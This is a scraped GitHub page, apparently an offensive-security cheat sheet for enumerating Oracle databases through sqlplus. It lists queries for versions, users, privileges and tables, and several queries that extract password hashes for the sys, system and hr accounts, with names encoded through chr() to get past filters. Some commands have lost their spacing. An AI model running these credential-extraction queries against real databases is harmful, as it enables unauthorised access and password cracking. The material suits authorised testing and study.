You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
sqlplus '<username>/<password>@<ip>:<port>/<sid>'
sqlplus '<username>/<password>@<ip>:<port>/<sid>' as sysdba # Privileged
Improve formatting:
SET LINESIZE 32000;
Enumerating a database
Get version:
SELECT banner FROM v$version;
SELECT version FROM v$instance;
Get current database:
SELECT name from v$database;
Get current user:
SELECT user FROM DUAL;
Get current user permissions:
select*from user_role_privs;
Get current user's password hash:
SELECT password FROM dba_users WHERE username=(SELECT user FROM DUAL);
SELECT password FROMsys.user$ WHERE name=(SELECT user FROM DUAL);
List all users:
SELECT username FROM dba_users ORDER BY1;
SELECT name FROMsys.user$ ORDER BY1;
Get default user's password hash:
SELECT password FROM dba_users WHERElower(username)=(chr(115)||chr(121)||chr(115)); -- Get "sys" user's password hashSELECT password FROM dba_users WHERElower(username)=(chr(115)||chr(121)||chr(115)||chr(116)||chr(101)||chr(109)); -- Get "system" user's password hashSELECT password FROM dba_users WHERElower(username)=(chr(104)||chr(114)); -- Get "hr" user's password hashSELECT password FROMsys.user$ WHERElower(name)=(chr(115)||chr(121)||chr(115)); -- Get "sys" user's password hashSELECT password FROMsys.user$ WHERElower(name)=(chr(115)||chr(121)||chr(115)||chr(116)||chr(101)||chr(109)); -- Get "system" user's password hashSELECT password FROMsys.user$ WHERElower(name)=(chr(104)||chr(114)); -- Get "hr" user's password hash
List tables:
SELECT owner,table_name FROM all_tables ORDER BY1;
List table columns:
SELECT column_name FROM all_tab_columns WHERE table_name='<table_name>'ORDER BY1;
Search for %user% like tables:
SELECT owner,table_name FROM all_tables WHERElower(table_name) LIKE chr(37)||chr(117)||chr(115)||chr(101)||chr(114)||chr(37) ORDER BY1 OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY; -- LIMIT/OFFSET works on 12.1+ version